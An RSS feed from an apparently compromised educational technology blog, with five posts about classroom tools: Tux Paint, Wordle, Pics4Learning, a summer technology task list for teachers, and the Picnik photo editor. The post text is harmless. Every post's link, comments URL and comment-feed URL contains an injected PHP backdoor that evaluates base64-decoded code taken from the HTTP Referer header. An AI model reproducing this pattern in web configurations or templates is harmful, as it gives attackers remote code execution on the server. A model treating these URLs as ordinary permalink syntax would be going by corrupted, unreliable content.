<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EdTech Avenue &#187; creativity</title>
	<atom:link href="http://edtechavenue.com/category/creativity/feed/" rel="self" type="application/rss+xml" />
	<link>http://edtechavenue.com</link>
	<description>your avenue for discussing educational technology</description>
	<lastBuildDate>Mon, 25 Jan 2010 16:01:40 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Using Tux Paint as a Learning Tool</title>
		<link>http://edtechavenue.com/2009/06/30/using-tux-paint-as-a-learning-tool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2009/06/30/using-tux-paint-as-a-learning-tool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 18:11:49 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[creativity]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[necc2009]]></category>
		<category><![CDATA[open source]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/?p=315</guid>
		<description><![CDATA[Karen is the Technology Coordinator at a school the same size as mine &#8211; 320 students.  Tux Paint is an Open Source software package &#8211; completely free.
&#8220;It&#8217;s not about the Tech, it&#8217;s about the Teach.&#8221;
Over 80 languages available &#8211; can be changed easily in the configuration for students needing alternate languages.
It&#8217;s a paint program, so [...]]]></description>
			<content:encoded><![CDATA[<p>Karen is the Technology Coordinator at a school the same size as mine &#8211; 320 students.  Tux Paint is an Open Source software package &#8211; completely free.</p>
<p>&#8220;It&#8217;s not about the Tech, it&#8217;s about the Teach.&#8221;</p>
<p>Over 80 languages available &#8211; can be changed easily in the configuration for students needing alternate languages.</p>
<p>It&#8217;s a paint program, so images once placed can not be moved or manipulated &#8211; only erased.</p>
<p>Great selection of stamps, shapes, colors and variations of all &#8211; much like KidPix but free.</p>
<p>http://nets4students.wetpaint.com/ is Karen&#8217;s website.  She is a participant in the Johns Hopkins University certificate program mentioned in my earlier post about new NETS and resources.</p>
<p>Templates can be created and shared over a network.</p>
<p>Karen has a Wiki on her site also, with some basic instructions and tips.</p>
<p>Students are sometimes confused when they see the text (Aa) tool and look for the rest of the letters. Karen teaches them that it means you are using the Alphabet and will need to use the keyboard.</p>
<p>Base file type for Tux Paint &#8220;Starter&#8221; (template) is PNG.  Templates need to be saved as a PNG and make it transparent.  There&#8217;s a free program on her Wiki you can use for that.  GiMP can also be used.  Files are also saved as a PNG from TuxPaint to be used outside of the program and inserted, etc.</p>
<p>A separate page off of Karen&#8217;s wiki has curriculum ideas &#8211; too many to list here!</p>
<p>Simple clicking creates a slideshow of any selected TuxPaint images&#8230; wow!  This could be used for very simple animations with older students.</p>
<p>Hiding at the right of the color palette is a link to the wider array of colors.</p>
<p>Fill &#8220;bucket&#8221; is under the Magic tools.</p>
<p>This was a terrific session!</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2009/06/30/using-tux-paint-as-a-learning-tool/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fun with Wordle</title>
		<link>http://edtechavenue.com/2008/07/20/fun-with-wordle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2008/07/20/fun-with-wordle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 21 Jul 2008 02:29:27 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[creativity]]></category>
		<category><![CDATA[wordle fun]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/2008/07/20/fun-with-wordle/</guid>
		<description><![CDATA[I read about Wordle on another edtech blog last week.Â  Thought I&#8217;d give it a try using EdTech Avenue as a generator.Â  I&#8217;m not sure how this application might be used, but it&#8217;s pretty fun to play with!

]]></description>
			<content:encoded><![CDATA[<p>I read about Wordle on another edtech blog last week.Â  Thought I&#8217;d give it a try using EdTech Avenue as a generator.Â  I&#8217;m not sure how this application might be used, but it&#8217;s pretty fun to play with!</p>
<p><a href="http://wordle.net/gallery/wrdl/78817/ETA" title="Wordle: ETA"><img src="http://wordle.net/thumb/wrdl/78817/ETA" style="border: 1px solid #dddddd; padding: 4px" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2008/07/20/fun-with-wordle/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pics4Learning &#8211; Free Images</title>
		<link>http://edtechavenue.com/2007/06/05/pics4learning-free-images/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/06/05/pics4learning-free-images/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 05 Jun 2007 18:58:13 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[budget]]></category>
		<category><![CDATA[creativity]]></category>
		<category><![CDATA[edtech]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[elementary]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[k-12]]></category>
		<category><![CDATA[middle school]]></category>
		<category><![CDATA[resource]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/2007/06/05/pics4learning-free-images/</guid>
		<description><![CDATA[With Creative Commons licensing, many more photos and images are available to download for educational purposes than ever before.  But Pics4Learning (offered by Tech4Learning) screens photos and makes sure they are appropriate for educational venues of all sorts.  You can even contribute some of your own images!  This is a terrific site [...]]]></description>
			<content:encoded><![CDATA[<p>With Creative Commons licensing, many more photos and images are available to download for educational purposes than ever before.  But <a title="Pics4Learning website" href="http://www.pics4learning.com/">Pics4Learning</a> (offered by <a title="Tech4Learning website" href="http://www.tech4learning.com/">Tech4Learning</a>) screens photos and makes sure they are appropriate for educational venues of all sorts.  You can even contribute some of your own images!  This is a terrific site for teachers to use when they want a one-stop site for finding images for student projects.  They have categories and a search function to find just the photo you want.  I would imagine as this site becomes more well-known, we can expect the library to grow and grow.</p>
<p>Do you know of any other good sites for images or audio for education?</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/06/05/pics4learning-free-images/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A Teacher&#8217;s Summer &#8220;Reading List&#8221;</title>
		<link>http://edtechavenue.com/2007/05/29/a-teachers-summer-reading-list/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/05/29/a-teachers-summer-reading-list/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 29 May 2007 15:38:46 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[creativity]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[k-12]]></category>
		<category><![CDATA[planning]]></category>
		<category><![CDATA[productivity]]></category>
		<category><![CDATA[resource]]></category>
		<category><![CDATA[teachers]]></category>
		<category><![CDATA[technology]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/2007/05/29/a-teachers-summer-reading-list/</guid>
		<description><![CDATA[I am sending the following in an email to our teachers this week.  I want to encourage them to not take off their thinking caps for the entire summer, just as they send out a summer reading list for students with the same intent.  My hope is that they return in the fall [...]]]></description>
			<content:encoded><![CDATA[<p>I am sending the following in an email to our teachers this week.  I want to encourage them to not take off their thinking caps for the entire summer, just as they send out a summer reading list for students with the same intent.  My hope is that they return in the fall with some fresh ideas for integrating technology as a means for creative assessment and that they use the time they have in the summer to really delve in and explore some of today&#8217;s great technologies and idea-sharing media.</p>
<ul>
<li><font size="2" face="Arial"><span class="776085616-11052007">Find one educational  blogger whose posts you consider valid and relevant to your teaching.   Read on average at least 1 post a week, and be prepared to share what you have  found during workshop week in the fall.</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Go to <a href="http://teachertube.com">TeacherTube.com</a>  and find one video you could either use in one of your classes or replicate as a  student project.</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Come up with one  multimedia project you could use to enhance your curriculum in some way.  This  project could involve digital photos, music, movie clips, slides, clay  animation, drawings, podcasts&#8230;</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007"><span class="776085616-11052007">Come up with </span>one project in your class where you  could use a blog with students.  You post something and have them respond, give  comments, reactions, reflections&#8230;</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Look into the  following educational technology trends and buzz-words and prepare to talk about  them and how they might impact not only your teaching but the learning of our  students:</span></font>
<ul>
<li><font size="2" face="Arial"><span class="776085616-11052007">Wiki</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Blog</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Podcast, <font size="2" face="Arial"><span class="776085616-11052007">Webcast</span></font></span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Ning</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Web 2.0,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">School  2.0</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">RSS,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">Aggregator,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">Feed</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Streaming</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Skype</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Twitter,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">Meebo</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Chat,  </span></font><font size="2" face="Arial"><span class="776085616-11052007">Instant  Message</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Del.icio.us</span></font></li>
</ul>
</li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Complete the  following regarding technology:</span></font>
<ul>
<li><font size="2" face="Arial"><span class="776085616-11052007">The one thing I wish  I had in my classroom is __________.</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">One activity I wish I  could do with my students is __________.</span></font></li>
<li><font size="2" face="Arial"><span class="776085616-11052007">Technology would be  easier to use in my classes if __________.</span></font></li>
</ul>
</li>
</ul>
<p>I may be setting myself up for disappointment here, but I don&#8217;t think so.  I believe that the incredible staff with whom I work will come through.  If just one or two teachers come back with a great idea, that energy will spark a flame that I can feed throughout the year!</p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/05/29/a-teachers-summer-reading-list/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Coolest Software I&#8217;ve Seen in a LONG Time</title>
		<link>http://edtechavenue.com/2007/05/01/the-coolest-software-ive-seen-in-a-long-time-and-practical-too/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://edtechavenue.com/2007/05/01/the-coolest-software-ive-seen-in-a-long-time-and-practical-too/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 02 May 2007 03:25:08 +0000</pubDate>
		<dc:creator>Jill</dc:creator>
				<category><![CDATA[creativity]]></category>
		<category><![CDATA[productivity]]></category>
		<category><![CDATA[resource]]></category>

		<guid isPermaLink="false">http://edtechavenue.com/blog/2007/05/01/the-coolest-software-ive-seen-in-a-long-time-and-practical-too/</guid>
		<description><![CDATA[And it&#8217;s practical, too!
I&#8217;ve been feverishly trying to catch up on the blogosphere and finding lots of great tools I&#8217;ve missed out on being stuck back in Web 1.0.Â  Thank you to Scott Elias of Do I Dare Disturb the Universe for recommending Picnik, a web-based photo editing program that I am hoping and praying [...]]]></description>
			<content:encoded><![CDATA[<p>And it&#8217;s practical, too!</p>
<p>I&#8217;ve been feverishly trying to catch up on the blogosphere and finding lots of great tools I&#8217;ve missed out on being stuck back in Web 1.0.Â  Thank you to <a href="http://www.scottjelias.net/" target="_blank">Scott Elias</a> of <a title="Do I Dare Disturb the Universe?" href="http://blog.scottjelias.net/" target="_blank">Do I Dare Disturb the Universe</a> for <a title="DIDDTU Links of the Week for February 9, 2007" href="http://blog.scottjelias.net/2007/02/diddtu_links_of_1.html" target="_blank">recommending</a> <a title="Picnik Website" href="http://www.picnik.com/" target="_blank">Picnik</a>, a web-based photo editing program that I am hoping and praying will take off, stick around, AND remain FREE.</p>
<p>I will be the first to admit, I was skeptical.Â  I mean really, a WEB-based photo editor?Â  How can that be decent?Â  But folks, it is.Â  I used it for my personal blog just to test it out and see the functionality of the Flickr connection, and I am happy.Â  It works splendidly.Â  I held a digital photoÂ training forÂ teachers today and was anxious to recommend it and show it off &#8211; they loved it!Â  It has the features and user-friendliness of <a href="http://www.apple.com/ilife/iphoto/" target="_blank">iPhoto</a> and then some, with fun advanced creatives (some of the cool ones will be with a paid version only).</p>
<p>Just register for free, open a photo, and basic tools are available to you: crop, resize, rotate, exposure, colors, sharpen, red-eye, etc.Â  Click the Creative Tools tab to really have some fun!Â  Then save your file to your computer or directly to a <a title="Flickr Website" href="http://www.flickr.com/" target="_blank">Flickr</a> account, complete with tags, descriptions, private/public settings, and even the ability to add photosÂ to existing sets (can&#8217;t create new ones yet).Â  I can edit photos from my computer or directly from my Flickr account.Â  And there&#8217;s <a title="Picnik Tools" href="http://www.picnik.com/info/tools" target="_blank">website tools and widgets</a> I haven&#8217;t even touched yet.</p>
<p>I can imagine terrific applications for myself &#8211; I&#8217;m on someone else&#8217;s or a library computer that doesn&#8217;t have a photo editing program, I just took some photos that I want to upload and blog about&#8230; no problem now!Â  I can see tons of educational applications for this too, and the kicker is the cost &#8211; $0.00.Â  Unbelievable.Â  Let&#8217;s support this software and keep it available!</p>
<p>Below are photos I edited with Picnik in minutes, although I reduced the size of each one equally to display them better (the high quality resolution of my camera makes them too big for this use).Â  The original is on the left, edited photo on the right:</p>
<p><img title="Image 1: Original" alt="Image 1: Original" src="http://edtechavenue.com/images/Picnik/P1010250_20.jpg" />Â <img title="Image 1: Edited" alt="Image 1: Edited" src="http://edtechavenue.com/images/Picnik/P1010250_edit_20.jpg" /><br />
<img title="Image 2: Original" alt="Image 2: Original" src="http://edtechavenue.com/images/Picnik/P1010252_20.jpg" />Â <img title="Image 2: Edited" alt="Image 2: Edited" src="http://edtechavenue.com/images/Picnik/P1010252_edit_20.jpg" /><br />
<img title="Image 3: Original" alt="Image 3: Original" src="http://edtechavenue.com/images/Picnik/P1010253_20.jpg" />Â <img title="Image 3: Edited" alt="Image 3: Edited" src="http://edtechavenue.com/images/Picnik/P1010253_edit_20.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://edtechavenue.com/2007/05/01/the-coolest-software-ive-seen-in-a-long-time-and-practical-too/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
